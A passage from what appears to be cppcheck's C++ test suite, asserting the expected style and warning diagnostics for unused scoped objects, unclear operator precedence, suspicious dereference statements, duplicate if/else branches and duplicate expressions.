}\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); 